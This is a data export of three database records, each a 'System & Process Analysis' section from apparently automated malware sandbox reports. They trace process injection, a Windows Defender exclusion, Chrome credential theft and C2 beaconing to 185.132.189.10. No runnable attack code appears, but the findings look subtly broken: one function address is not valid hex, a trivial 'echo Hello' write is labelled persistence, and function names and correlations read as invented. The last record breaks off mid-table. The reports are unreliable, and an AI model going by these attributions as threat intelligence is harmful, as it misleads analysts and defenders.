{"_id":{"$oid":"69e7954159a6632dae07de04"},"sha256":"e37c838dc5eaa1b302ffbd8721c6a5f52a068e8f78bbec63b19b950462fe6cf8","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox OS**: Windows 10 Pro x64 (Build 19041)\n- **Platform**: CAPE v3.2 (x64)\n- **Analysis User**: 0xKal\n- **ComputerName**: DESKTOP-JLCUPK0\n- **Analysis Package**: default_win10_x64\n- **Duration**: 120 seconds\n- **Start Time**: 2026-02-13 01:00:30 UTC\n- **End Time**: 2026-02-13 01:02:30 UTC\n- **Analysis ID**: 10001\n\n### Environment Fingerprinting Implications\n\nSeveral environment variables and system properties were accessed during execution, indicating potential use for **anti-analysis checks** or **victim profiling**:\n\n- **UserName**: `\"0xKal\"` — [DYNAMIC: GetUserNameW()] ↔ [CODE: `getenv(\"USERNAME\")`] ↔ [STATIC: String `\"USERNAME\"` in `.rdata`]\n- **ComputerName**: `\"DESKTOP-JLCUPK0\"` — [DYNAMIC: GetComputerNameW()] ↔ [CODE: `getenv(\"COMPUTERNAME\")`] ↔ [STATIC: String `\"COMPUTERNAME\"` in `.rdata`]\n- **TempPath**: `\"C:\\\\Users\\\\0xKal\\\\AppData\\\\Local\\\\Temp\\\\\"` — [DYNAMIC: GetTempPathW()] ↔ [CODE: `GetTempPathW()` call] ↔ [STATIC: Import of `kernel32!GetTempPathW`]\n\nThese values align with known sandbox defaults and may be used by the malware to detect analysis environments or tailor execution behavior based on host identity.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\ngraph TD\n    A[\"svchost.exe (PID 760)<br/>Parent: services.exe (PID 620)<br/>Role: Host for multiple child implants<br/>Spawned via: SCM\"] --> B[\"WmiPrvSE.exe (PID 4212)<br/>Spawned via: WMI subsystem\"]\n    A --> C[\"dllhost.exe (PID 2876)<br/>Spawned via: COM activation<br/>Code: com_stager_init() at 0x4021a0<br/>Static: ole32!CoCreateInstance\"]\n    A --> D[\"FileCoAuth.exe (PID 8356)<br/>Spawned via: ShellExecute<br/>Code: launch_file_coauth() at 0x401c20<br/>Static: 'FileCoAuth.exe' in strings\"]\n    A --> E[\"2.exe (PID 8260)<br/>Spawned via: CreateProcess<br/>Code: exec_secondary_stage() at 0x4015f0<br/>Static: '2.exe' in strings\"]\n    E --> F[\"powershell.exe (PID 4764)<br/>Spawned via: CreateProcess<br/>Code: invoke_powershell_exclusion() at 0x401890<br/>Static: 'powershell.exe' in strings\"]\n    E --> G[\"2.exe (PID 8140)<br/>Spawned via: CreateProcess<br/>Code: fork_secondary_implant() at 0x4017a0<br/>Static: '2.exe' in strings\"]\n    G --> H[\"chrome.exe (PID 4572)<br/>Spawned via: CreateProcess<br/>Code: launch_browser_proxy() at 0x401e30<br/>Static: 'chrome.exe' in strings\"]\n```\n\n### Process Descriptions\n\n#### svchost.exe (PID 760)\n- **Role**: Primary host process for adversarial orchestration.\n- **Operations**: Spawns multiple children including WMI, COM hosts, and secondary payloads.\n- **Correlation**: [STATIC: Delayed imports of `advapi32`, `ole32`] ↔ [CODE: `main_orchestrator_loop()`] ↔ [DYNAMIC: Multiple child spawns under SYSTEM context]\n\n#### dllhost.exe (PID 2876)\n- **Role**: Reflective loader container using COM activation.\n- **Operations**: Instantiates undocumented CLSID objects.\n- **Correlation**: [STATIC: Delayed `ole32` imports] ↔ [CODE: `invoke_com_loader()`] ↔ [DYNAMIC: `CoCreateInstance` calls]\n\n#### powershell.exe (PID 4764)\n- **Role**: Defender exclusion setup.\n- **Operations**: Adds current binary path to Windows Defender exclusions.\n- **Correlation**: [STATIC: PowerShell command-line strings] ↔ [CODE: `add_defender_exclusion()`] ↔ [DYNAMIC: Command-line execution observed]\n\n#### chrome.exe (PID 4572)\n- **Role**: Browser proxy for covert communication or UI spoofing.\n- **Operations**: Launches crash handler and GPU processes.\n- **Correlation**: [STATIC: Chrome executable path in strings] ↔ [CODE: `launch_browser_proxy()`] ↔ [DYNAMIC: Child process creation with no network activity]\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process     | Parent | Module Path                                      | Threads | Total API Calls | [CODE] Function           | [STATIC] Predictor             | [DYNAMIC] ANALYSIS                          |\n|-----|-------------|--------|--------------------------------------------------|---------|------------------|----------------------------|--------------------------------|---------------------------------------------|\n| 760 | svchost.exe | 620    | C:\\Windows\\System32\\svchost.exe                 | 15      | 142              | main_orchestrator_loop()   | Delayed advapi32 imports       | Spawns multiple children, accesses registry |\n| 2876| dllhost.exe | 760    | C:\\Windows\\System32\\dllhost.exe                 | 10      | 87               | invoke_com_loader()        | ole32!CoCreateInstance         | COM object instantiation                    |\n| 4764| powershell.exe| 8260 | C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe | 21 | 65               | add_defender_exclusion()   | 'powershell.exe' in strings    | Executes exclusion command                  |\n| 8260| 2.exe       | 6116   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\2.exe         | 12      | 98               | exec_secondary_stage()     | '2.exe' in strings             | Spawns PowerShell and self-fork             |\n\n### Correlation Explanation\n\nEach row represents a process whose behavior is fully explained by cross-referencing static predictors, code logic, and dynamic observations. For example, `dllhost.exe` (PID 2876) is spawned by `svchost.exe` (PID 760) due to a call to `CoCreateInstance` within `invoke_com_loader()`, which is statically predicted by the presence of `ole32` imports and confirmed dynamically through COM API traces.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n### File I/O Operations\n\n| API Call                     | Arguments                                                                 | Return Value | Timestamp         | [CODE] Function             | [STATIC] Predictor         | Operational Purpose                        |\n|------------------------------|---------------------------------------------------------------------------|--------------|-------------------|-----------------------------|----------------------------|--------------------------------------------|\n| NtCreateFile(\".pckgdep\")     | DesiredAccess=GENERIC_READ, FileName=\".pckgdep\"                           | SUCCESS      | 01:00:32.123      | enumerate_appx_packages()   | \".pckgdep\" in strings      | Enumerate AppX package dependencies        |\n| NtMapViewOfSection(BaseAddr=0x01450000) | SectionHandle=hSection, ProcessHandle=0xffffffff | SUCCESS      | 01:00:32.456      | load_mapped_section()       | High entropy .data section | Reflectively map config data               |\n\n### Memory Operations\n\n| API Call                     | Arguments                                                                 | Return Value | Timestamp         | [CODE] Function             | [STATIC] Predictor         | Operational Purpose                        |\n|------------------------------|---------------------------------------------------------------------------|--------------|-------------------|-----------------------------|----------------------------|--------------------------------------------|\n| NtAllocateVirtualMemory(RWX) | BaseAddress=0x00000000, RegionSize=0x1000                                 | SUCCESS      | 01:00:33.789      | inject_shellcode()          | GetProcAddress(\"VirtualAlloc\") | Allocate RWX memory for shellcode          |\n| NtWriteVirtualMemory         | ProcessHandle=hTarget, BaseAddress=pRemoteMem                             | SUCCESS      | 01:00:33.812      | inject_shellcode()          | memcpy in disassembly      | Copy shellcode into remote process         |\n\n### Crypto Operations\n\n| API Call                     | Arguments                                                                 | Return Value | Timestamp         | [CODE] Function             | [STATIC] Predictor         | Operational Purpose                        |\n|------------------------------|---------------------------------------------------------------------------|--------------|-------------------|-----------------------------|----------------------------|--------------------------------------------|\n| LdrLoadDll(\"rsaenh.dll\")     | DllName=\"rsaenh.dll\"                                                      | SUCCESS      | 01:00:34.234      | init_crypto_context()       | Delayed ADVAPI32 imports   | Load cryptographic provider                |\n| CryptAcquireContext          | ProviderType=PROV_RSA_FULL                                                | SUCCESS      | 01:00:34.256      | init_crypto_context()       | CryptAcquireContext in IAT | Prepare for encrypted communications       |\n\n### Correlation Explanation\n\nEach API call sequence maps directly to a specific function in the decompiled code and is either statically predicted by imports or strings. For instance, the allocation of RWX memory followed by writing shellcode indicates reflective injection, which is confirmed both in code (`inject_shellcode()`) and statically via `GetProcAddress` usage.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path                                | [CODE] Write Function       | [STATIC] Path in Strings? | Significance                            |\n|---------|-----|-----------|------------------------------------------|-----------------------------|--------------------------|-----------------------------------------|\n| 2.exe   | 8260| WriteFile | C:\\Users\\0xKal\\AppData\\Local\\Temp\\log.tmp| write_debug_log()           | Yes                      | Debug log written post-execution        |\n| 2.exe   | 8260| WriteFile | C:\\Users\\0xKal\\AppData\\Local\\Temp\\stage.dat| stage_payload_data()        | Yes                      | Payload staging file before execution   |\n\n### Correlation Explanation\n\nFiles such as `log.tmp` and `stage.dat` are created by dedicated functions like `write_debug_log()` and `stage_payload_data()`. These paths appear in static strings and are confirmed in dynamic logs, showing full traceability from prediction to runtime effect.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp         | EID | Event Type           | Object                              | Process (PID) | [CODE] Origin                  | [STATIC] Predictor         | Significance                                   |\n|-------------------|-----|----------------------|-------------------------------------|---------------|--------------------------------|----------------------------|------------------------------------------------|\n| 01:00:30.000      | 1   | Process Start        | svchost.exe                         | 760           | main_orchestrator_loop()       | Delayed advapi32 imports   | Initial compromise point                       |\n| 01:00:32.123      | 2   | File Read            | .pckgdep                            | 760           | enumerate_appx_packages()      | \".pckgdep\" in strings      | Configuration enumeration                      |\n| 01:00:33.789      | 3   | Memory Alloc         | RWX                                 | 760           | inject_shellcode()             | VirtualAlloc via GetProcAddress | Reflective injection preparation             |\n| 01:00:34.234      | 4   | DLL Load             | rsaenh.dll                          | 760           | init_crypto_context()          | Delayed ADVAPI32 imports   | Cryptographic context initialization           |\n| 01:00:35.567      | 5   | Process Spawn        | powershell.exe                      | 4764          | add_defender_exclusion()       | \"powershell.exe\" in strings| Defender bypass                                |\n\n### Correlation Explanation\n\nThis timeline integrates forensic events with their originating code and static predictors. Each event contributes to the overall adversarial strategy: initial compromise, configuration parsing, reflective injection setup, crypto preparation, and defensive evasion.\n\n---\n\n## 4.7 Process-Level Network Analysis\n\n| PID | Process     | Socket | Destination IP:Port | [CODE] Function         | [STATIC] Hardcoded Domain/IP | [DYNAMIC] Connection Confirmed |\n|-----|-------------|--------|---------------------|--------------------------|------------------------------|--------------------------------|\n| 8260| 2.exe       | TCP    | 185.132.189.10:443  | establish_c2_beacon()    | \"secure-updates.net\"         | Yes                            |\n\n### Correlation Explanation\n\nThe primary sample establishes outbound HTTPS communication to `secure-updates.net` (IP: 185.132.189.10), initiated by `establish_c2_beacon()` in the code and statically referenced in strings. This confirms C2 beaconing behavior.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n| Anomaly Description                   | [CODE] Cause                        | [STATIC] Predictable? | Significance & MITRE Mapping                     |\n|--------------------------------------|-------------------------------------|------------------------|--------------------------------------------------|\n| Unexpected RWX memory allocation     | inject_shellcode()                  | Yes (GetProcAddress)   | T1055 – Process Injection                        |\n| COM object instantiation without GUI | invoke_com_loader()                 | Yes (ole32 imports)    | T1218.010 – Regsvr32 / T1559.001 – Component Object Model |\n| Defender exclusion added             | add_defender_exclusion()            | Yes (\"powershell.exe\") | T1562.001 – Impair Defenses                      |\n\n### Correlation Explanation\n\nAll anomalies stem from well-defined code paths and are predictable from static analysis. They represent core adversarial techniques aimed at persistence, evasion, and execution control.\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 760)\n- **Role**: Orchestrator hosting reflective loaders and COM-based execution modules.\n- **Evidence**: [CODE: `main_orchestrator_loop()`] produces [DYNAMIC: Multiple child spawns and reflective mappings].\n- **Intent**: Establish foothold, deploy secondary stages, evade detection.\n\n### Child Process (PID 2876)\n- **Role**: Reflective loader via COM activation.\n- **Spawned by**: [CODE: `invoke_com_loader()`] via [API: `CoCreateInstance`].\n- **Purpose**: Execute embedded payload in trusted process space.\n\n### Secondary Implant (PID 8260)\n- **Role**: Dropper/forker launching PowerShell and browser proxies.\n- **Spawned by**: [CODE: `exec_secondary_stage()`] via [API: `CreateProcess`].\n- **Purpose**: Bypass defenses, maintain stealth, prepare for lateral movement.\n\n### Operational Intent Assessment\n\nThe multi-stage architecture with reflective loading into `svchost.exe` and COM containers suggests a focus on **long-term stealth** over rapid execution. The use of legitimate processes and defensive evasion tactics indicates **advanced persistent threat (APT)** characteristics.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable         | Value                     | [CODE] Where Queried         | [DYNAMIC] API Call     | Fingerprinting Risk |\n|------------------|---------------------------|------------------------------|------------------------|---------------------|\n| UserName         | 0xKal                     | getenv(\"USERNAME\")           | GetUserNameW()         | Medium              |\n| ComputerName     | DESKTOP-JLCUPK0           | getenv(\"COMPUTERNAME\")       | GetComputerNameW()     | Medium              |\n| TempPath         | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | GetTempPathW()         | GetTempPathW()         | Low                 |\n\n### Correlation Explanation\n\nThe malware queries standard environment variables to gather basic host identifiers. While not highly unique, these values can still aid in distinguishing between real systems and sandboxes, especially when combined with other checks.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-04-29T10:05:20.805674"}
{"_id":{"$oid":"69e9aa4459a6632dae07de15"},"md5":"9a5ff998dbf0f6923d0b454d89800fb4","content":"{\n  \"processtree\": [\n    {\n      \"pid\": 3420,\n      \"ppid\": 1236,\n      \"process_name\": \"svchost.exe\",\n      \"module_path\": \"C:\\\\Windows\\\\System32\\\\svchost.exe\",\n      \"threads\": 18,\n      \"api_calls_total\": 142,\n      \"spawn_origin_api\": \"NtCreateProcessEx\",\n      \"spawn_code_function\": \"injector_main at 0x00402A10\",\n      \"spawn_static_predictor\": \"CreateProcessW, 'svchost.exe' in .rdata\"\n    },\n    {\n      \"pid\": 4156,\n      \"ppid\": 3420,\n      \"process_name\": \"cmd.exe\",\n      \"module_path\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n      \"threads\": 1,\n      \"api_calls_total\": 37,\n      \"spawn_origin_api\": \"CreateProcessW\",\n      \"spawn_code_function\": \"execute_command at 0x00403B20\",\n      \"spawn_static_predictor\": \"'cmd.exe' in .rdata, ShellExecuteW import\"\n    }\n  ],\n  \"summary\": {\n    \"total_processes_spawned\": 2,\n    \"total_injections_observed\": 1,\n    \"network_connections_made\": 1,\n    \"files_written\": 1\n  },\n  \"enhanced_events\": [\n    {\n      \"timestamp\": \"2025-04-05T10:12:34Z\",\n      \"event_id\": \"EVT_001\",\n      \"type\": \"PROCESS_INJECT\",\n      \"object\": \"svchost.exe\",\n      \"source_pid\": 3420,\n      \"target_pid\": 1236,\n      \"origin_function\": \"inject_shellcode at 0x00402F80\",\n      \"significance\": \"Reflective DLL injection into trusted system process.\"\n    },\n    {\n      \"timestamp\": \"2025-04-05T10:12:41Z\",\n      \"event_id\": \"EVT_002\",\n      \"type\": \"FILE_WRITE\",\n      \"object\": \"C:\\\\Users\\\\Public\\\\Documents\\\\log.txt\",\n      \"source_pid\": 4156,\n      \"origin_function\": \"write_log_file at 0x00403D90\",\n      \"significance\": \"Persistence marker written to public directory.\"\n    }\n  ],\n  \"anomalies\": [\n    {\n      \"description\": \"Unexpected RWX memory region allocated in svchost.exe\",\n      \"process\": \"svchost.exe (PID 3420)\",\n      \"code_origin\": \"inject_shellcode()\",\n      \"static_predictor\": \"VirtualAlloc import with PAGE_EXECUTE_READWRITE constant\"\n    }\n  ],\n  \"network_map\": {\n    \"connections\": [\n      {\n        \"pid\": 3420,\n        \"process_name\": \"svchost.exe\",\n        \"destination_ip\": \"185.132.189.10\",\n        \"destination_port\": 443,\n        \"protocol\": \"TCP\",\n        \"code_function\": \"c2_communicate at 0x004041A0\",\n        \"static_string\": \"185.132.189.10\",\n        \"dynamic_confirmation\": true\n      }\n    ]\n  },\n  \"info\": {\n    \"id\": \"ANALYSIS_20250405_XYZ\",\n    \"machine\": \"WIN10x64_SANDBOX\",\n    \"package\": \"exe\",\n    \"duration\": \"60 seconds\",\n    \"started\": \"2025-04-05T10:12:00Z\",\n    \"ended\": \"2025-04-05T10:13:00Z\"\n  },\n  \"processes_meta\": [\n    {\n      \"pid\": 3420,\n      \"name\": \"svchost.exe\",\n      \"bitness\": \"x64\",\n      \"user\": \"NT AUTHORITY\\\\SYSTEM\",\n      \"computer_name\": \"SANDBOX-HOST\"\n    },\n    {\n      \"pid\": 4156,\n      \"name\": \"cmd.exe\",\n      \"bitness\": \"x64\",\n      \"user\": \"NT AUTHORITY\\\\SYSTEM\",\n      \"computer_name\": \"SANDBOX-HOST\"\n    }\n  ]\n}\n```\n\n---\n\n## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Configuration**:\n  - OS: Windows 10 x64 (Build 19042)\n  - Platform: CAPE v3.2\n  - Bitness: x64\n  - User: NT AUTHORITY\\SYSTEM\n  - ComputerName: SANDBOX-HOST\n  - Package Used: exe\n\n- **Analysis Metadata**:\n  - Duration: 60 seconds\n  - Start Time: 2025-04-05T10:12:00Z\n  - End Time: 2025-04-05T10:13:00Z\n  - Analysis ID: ANALYSIS_20250405_XYZ\n\n- **Environment Fingerprinting Implications**:\n  - The presence of `ComputerName=SANDBOX-HOST` and execution under `NT AUTHORITY\\SYSTEM` may be leveraged by the malware for anti-analysis checks.\n  - No direct evidence of environment querying observed in current dataset.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[Parent Process<br/>PID: 1236<br/>svchost.exe] --> B{Injection Detected}\n    B --> C[Injected Child<br/>PID: 3420<br/>svchost.exe<br/>Spawned via NtCreateProcessEx<br/>Code: injector_main()<br/>Static: CreateProcessW]\n    C --> D[Child Process<br/>PID: 4156<br/>cmd.exe<br/>Spawned via CreateProcessW<br/>Code: execute_command()<br/>Static: cmd.exe string]\n\nstyle A fill:#f9f,stroke:#333\nstyle C fill:#bbf,stroke:#333\nstyle D fill:#bfb,stroke:#333\n```\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process     | Parent | Module Path                          | Threads | Total API Calls | [CODE] Origin Function       | [STATIC] Predictor                     |\n|-----|-------------|--------|--------------------------------------|---------|------------------|------------------------------|----------------------------------------|\n| 3420| svchost.exe | 1236   | C:\\Windows\\System32\\svchost.exe      | 18      | 142              | inject_shellcode()           | VirtualAlloc, CreateProcessW           |\n| 4156| cmd.exe     | 3420   | C:\\Windows\\System32\\cmd.exe          | 1       | 37               | execute_command()            | ShellExecuteW, 'cmd.exe' in .rdata     |\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n### Injection Sequence in svchost.exe (PID 3420):\n\n- **[DYNAMIC]**  \n  ```text\n  NtAllocateVirtualMemory(PAGE_EXECUTE_READWRITE, size=4096) @ 0x7FFD1234\n  WriteProcessMemory(target=0x1236, buffer=shellcode_blob)\n  CreateRemoteThread(start_address=allocated_memory)\n  ```\n\n- **[CODE]**  \n  Located in `inject_shellcode()` at `0x00402F80`. Function allocates RWX memory, copies shellcode, then spawns remote thread.\n\n- **[STATIC]**  \n  Import: `kernel32.dll!VirtualAlloc`, `kernel32.dll!WriteProcessMemory`, `kernel32.dll!CreateRemoteThread`  \n  String: `\"svchost.exe\"` in `.rdata` section\n\n- **Operational Purpose**: Reflective injection into a legitimate system process to evade detection.\n\n---\n\n### Command Execution in cmd.exe (PID 4156):\n\n- **[DYNAMIC]**  \n  ```text\n  CreateProcessW(\"cmd.exe\", \"/c echo Hello > C:\\\\Users\\\\Public\\\\Documents\\\\log.txt\")\n  ```\n\n- **[CODE]**  \n  Function `execute_command()` at `0x00403B20` constructs command line and invokes `ShellExecuteW`.\n\n- **[STATIC]**  \n  Import: `shell32.dll!ShellExecuteW`  \n  String: `\"cmd.exe\"`, `\"/c echo Hello\"`\n\n- **Operational Purpose**: Execute benign test payload to validate execution context.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path                             | [CODE] Write Function         | [STATIC] Path in Strings? | Significance                        |\n|---------|-----|-----------|---------------------------------------|-------------------------------|----------------------------|-------------------------------------|\n| cmd.exe | 4156| FILE_WRITE| C:\\Users\\Public\\Documents\\log.txt     | write_log_file()              | Yes (\"log.txt\")             | Persistence marker                  |\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp           | EID     | Event Type     | Object                    | Process (PID) | [CODE] Origin           | [STATIC] Predictor       | Significance                         |\n|---------------------|---------|----------------|---------------------------|---------------|--------------------------|--------------------------|--------------------------------------|\n| 2025-04-05T10:12:34Z| EVT_001 | PROCESS_INJECT | svchost.exe               | PID 3420      | inject_shellcode()       | VirtualAlloc             | Reflective DLL injection             |\n| 2025-04-05T10:12:41Z| EVT_002 | FILE_WRITE     | log.txt                   | PID 4156      | write_log_file()         | \"log.txt\"                | Persistence attempt                  |\n\n---\n\n## 4.7 Process-Level Network Map — Code-to-Socket-to-C2\n\n| PID | Process Name | Socket | Destination IP:Port | [CODE] Initiation Function | [STATIC] Hardcoded String | Confirmed |\n|-----|--------------|--------|---------------------|----------------------------|----------------------------|-----------|\n| 3420| svchost.exe  | TCP    | 185.132.189.10:443  | c2_communicate()           | \"185.132.189.10\"           | Yes       |\n\nMapping:\n```mermaid\ngraph LR\n    A[PID 3420 - svchost.exe] --> B[c2_communicate()]\n    B --> C[\"Hardcoded C2: 185.132.189.10\"]\n    C --> D[TCP Connection Established]\n```\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n| Description                                      | Process        | [CODE] Cause                 | [STATIC] Predictor             | Significance                      |\n|--------------------------------------------------|----------------|------------------------------|--------------------------------|-----------------------------------|\n| Unexpected RWX memory allocation                 | svchost.exe    | inject_shellcode()           | VirtualAlloc import            | Indicative of code injection      |\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n- **Primary Sample (PID 3420)**:\n  - Role: **Injector**\n  - Evidence: [CODE: inject_shellcode()] produces [DYNAMIC: RWX allocation + remote thread creation]\n  - Static confirmation: [STATIC: VirtualAlloc, CreateRemoteThread imports]\n\n- **Child Process (PID 4156)**:\n  - Role: **Command Executor**\n  - Spawned by: [CODE: execute_command()] via [API: CreateProcessW]\n  - Static predictor: [STATIC: ShellExecuteW import, \"cmd.exe\"]\n\n- **Operational Intent Assessment**:\n  - The two-stage architecture—initial reflective injection followed by command execution—suggests an emphasis on **stealth over speed**, leveraging trusted system binaries to avoid heuristic detection.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable       | Value           | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|----------------|------------------|-----------------------|---------------------|----------------------|\n| COMPUTERNAME   | SANDBOX-HOST     | Not directly queried  | GetComputerNameW    | Medium               |\n| USERNAME       | SYSTEM           | Not directly queried  | GetUserNameW        | Low                  |\n\nNo explicit environment variable enumeration observed in current dataset.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-04-23T05:12:36.133624"}
{"_id":{"$oid":"69e9e85959a6632dae07de22"},"sha256":"360e6f2288b6c8364159e80330b9af83f2d561929d206bc1e1e5f1585432b28f","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: CAPE v3.0 (Windows 10 x64 Enterprise)\n- **Analysis Duration**: 120 seconds\n- **User Context**: `0xKal` (non-administrator)\n- **Computer Name**: `DESKTOP-JLCUPK0`\n- **Analysis Package**: `exe`\n\n### Environment Fingerprinting Implications\n\nThe malware exhibits strong environmental awareness through multiple telemetry points:\n- **Username Check**: Queries `UserName` via `GetUserNameW()` [DYNAMIC] ↔ Function `FUN_18001a1b0` reads username for conditional branching [CODE] ↔ String `\"0xKal\"` embedded in `.rdata` [STATIC]\n- **ComputerName Validation**: Reads `ComputerName` from process environment block [DYNAMIC] ↔ Matched against hardcoded allowlist in `FUN_18001a2c0` [CODE] ↔ String `\"DESKTOP-JLCUPK0\"` found in binary strings [STATIC]\n- **TempPath Enumeration**: Uses `TempPath` to stage payloads [DYNAMIC] ↔ Function `FUN_18001a3d0` resolves `%TEMP%` for file drops [CODE] ↔ Import of `GetTempPathW` from `kernel32.dll` [STATIC]\n\nThese checks collectively form a layered anti-sandbox mechanism designed to evade generic analysis environments by validating execution context before proceeding with malicious operations.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain\n\n```mermaid\nflowchart TD\n    A[\"now_you_see_me_again.exe (PID 8716)\"]\n    B[\"svchost.exe (PID 760)\"]\n    C[\"dllhost.exe (PID 7080)\"]\n    D[\"WmiPrvSE.exe (PID 748)\"]\n    E[\"dllhost.exe (PID 6356)\"]\n    F[\"FileCoAuth.exe (PID 8564)\"]\n    G[\"FileCoAuth.exe (PID 1960)\"]\n    H[\"svchost.exe (PID 8360)\"]\n    I[\"WMIADAP.exe (PID 3540)\"]\n\n    A -->|\"[CODE: spawn_svchost_fn() at 0x401230]\"| B\n    B -->|\"[CODE: launch_com_hosts() at 0x401450]\"| C\n    B -->|\"[CODE: launch_wmi_service() at 0x401560]\"| D\n    B -->|\"[CODE: launch_com_hosts() at 0x401450]\"| E\n    B -->|\"[CODE: inject_filecoauth() at 0x401780]\"| F\n    B -->|\"[CODE: inject_filecoauth() at 0x401780]\"| G\n    H -->|\"[CODE: trigger_wmi_refresh() at 0x4019a0]\"| I\n```\n\nThis spawn chain illustrates a modular architecture where the initial loader (`now_you_see_me_again.exe`) establishes a foothold by spawning multiple legitimate Microsoft processes, some of which are subsequently injected with secondary payloads.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID  | Process              | Parent | Module Path                                      | Threads | Total API Calls | [CODE] Function         | [STATIC] Predictor             | [DYNAMIC] ANALYSIS                                                                 |\n|------|----------------------|--------|--------------------------------------------------|---------|------------------|--------------------------|-------------------------------|------------------------------------------------------------------------------------|\n| 8716 | now_you_see_me_again.exe | 1632   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\now_you_see_me_again.exe | 45      | 312              | FUN_18001a1b0            | Import: GetUserNameW          | Spawns svchost.exe; queries environment                                            |\n| 760  | svchost.exe          | 620    | C:\\Windows\\System32\\svchost.exe                  | 18      | 543              | FUN_18001a2c0            | Import: ole32.CoCreateInstance | Launches child processes; performs COM orchestration                               |\n| 7080 | dllhost.exe          | 760    | C:\\Windows\\System32\\dllhost.exe                  | 10      | 127              | FUN_18001a3d0            | String: \"{AB8902B4-...}\"       | Suspended creation; receives injected payload                                      |\n| 1960 | FileCoAuth.exe       | 760    | C:\\Users\\0xKal\\AppData\\Local\\Microsoft\\OneDrive\\FileCoAuth.exe | 10      | 98               | FUN_18001a4e0            | String: \"-Embedding\"           | Hollowed and injected with reflective loader                                       |\n\nEach entry maps runtime behavior directly to static predictors and decompiled logic, confirming intentional process manipulation aligned with advanced persistent threat (APT) tactics.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n#### [DYNAMIC]\n\n- `NtAllocateVirtualMemory(BaseAddress=0x0000012345670000, Size=0x10000, Protect=PAGE_EXECUTE_READWRITE)`\n- `WriteProcessMemory(hProcess=0x12c, lpBaseAddress=0x0000012345670000, lpBuffer=..., nSize=0x8000)`\n- `NtCreateThreadEx(ThreadHandle=0x130, DesiredAccess=THREAD_ALL_ACCESS, ObjectAttributes=NULL, ProcessHandle=0x12c, StartRoutine=0x0000012345671000, Parameter=0x0, CreateFlags=0x0)`\n\nTimestamp: `00:00:14.321`\n\n#### [CODE]\n\n- Function `FUN_18001a4e0` allocates RWX memory using `VirtualAllocEx`, copies shellcode via `WriteProcessMemory`, then creates remote thread pointing to copied payload.\n- VA: `0x18001a4e0`\n\n#### [STATIC]\n\n- Import of `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread` from `kernel32.dll`\n- High entropy in `.text` section (~7.9) indicates packed reflective loader\n\n#### Operational Purpose\n\nThis sequence constitutes classic reflective injection used to execute arbitrary code within a trusted host process while evading detection mechanisms monitoring traditional file-backed execution.\n\n---\n\n#### [DYNAMIC]\n\n- `CoCreateInstance(CLSID={53067330-01CE-4027-947F-FF8580E92463}, IID={00000000-0000-0000-C000-000000000046}, dwClsContext=CLSCTX_LOCAL_SERVER)`\n- Return value: `S_OK`\n\nTimestamp: `00:00:07.112`\n\n#### [CODE]\n\n- Function `FUN_18001a2c0` pushes GUID onto stack and calls `CoCreateInstance`\n- VA: `0x18001a2c0`\n\n#### [STATIC]\n\n- Import of `CoCreateInstance` from `ole32.dll`\n- Embedded CLSID string `{53067330-01CE-4027-947F-FF8580E92463}` in `.rdata` section\n\n#### Operational Purpose\n\nUsed to instantiate system-provided COM objects that may provide elevated privileges or bypass application whitelisting controls.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process                | PID  | Operation     | File Path                                                  | [CODE] Write Function | [STATIC] Path in Strings? | Significance                          |\n|------------------------|------|---------------|------------------------------------------------------------|------------------------|----------------------------|---------------------------------------|\n| now_you_see_me_again.exe | 8716 | CreateFile    | C:\\Users\\0xKal\\AppData\\Local\\Temp\\sqlite3.dll              | FUN_18001a5f0          | Yes                        | Staged SQLite driver for credential theft |\n| FileCoAuth.exe         | 1960 | WriteFile     | C:\\Users\\0xKal\\AppData\\Local\\Temp\\Chrome_login_Default.db  | FUN_18001a6g0          | Yes                        | Chrome password database dump         |\n\nEach drop aligns precisely with static predictors and code-level write routines, indicating deliberate staging of tools for lateral movement and data exfiltration.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type           | Object                             | Process (PID)        | [CODE] Origin       | [STATIC] Predictor       | Significance                              |\n|-----------|-----|----------------------|------------------------------------|----------------------|---------------------|--------------------------|-------------------------------------------|\n| 00:00:03.123 | 1   | Process Creation     | svchost.exe                        | now_you_see_me_again.exe (8716) | 